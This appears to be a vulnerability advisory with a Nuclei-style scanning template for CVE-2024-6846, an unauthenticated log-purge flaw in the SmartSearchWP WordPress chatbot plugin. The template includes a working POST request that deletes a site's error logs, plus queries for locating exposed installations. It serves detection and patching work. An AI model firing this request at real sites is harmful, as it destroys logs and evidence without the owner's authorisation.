CVE-2024-6846: SmartSearchWP <= 2.4.4 - Unauthenticated Log Purge

2025-08-01 SmartSearchWP PoC Public

Description

The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.

PoC

id: CVE-2024-6846

info:
  name: SmartSearchWP <= 2.4.4 - Unauthenticated Log Purge
  author: s4e-io
  severity: medium
  description: |
    The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.
  impact: |
    Unauthenticated attackers can delete error and chat logs, potentially destroying evidence of attacks or system issues.
  remediation: |
    Update SmartSearchWP plugin to version 2.4.5 or later to address the unauthorized log purge vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d48fdab3-669c-4870-a2f9-6c39a7c25fd8/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6846
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-6846
    epss-score: 0.01252
    epss-percentile: 0.6794
  metadata:
    max-request: 1
    verified: true
    vendor: webdigit
    product: smartsearchwp
    framework: wordpress
    publicwww-query: "/wp-content/plugins/smartsearchwp"
    fofa-query: body="/wp-content/plugins/smartsearchwp"
  tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,smartsearchwp,chatgpt,vuln,ai

http:
  - raw:
      - |
        POST /wp-json/wdgpt/v1/purge-error-logs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"months":"1"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"success","true", "purged successfully")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100905a197edf43958fde837bd6e4740a9d2a82ca52c786460767dd4d5d809b1a5e022100dc5759ce4983bb70a9880ca0f9d02727e215287569755ae317d00b9317a5dfa3:922c64590222798bb761d5b6d8e72950

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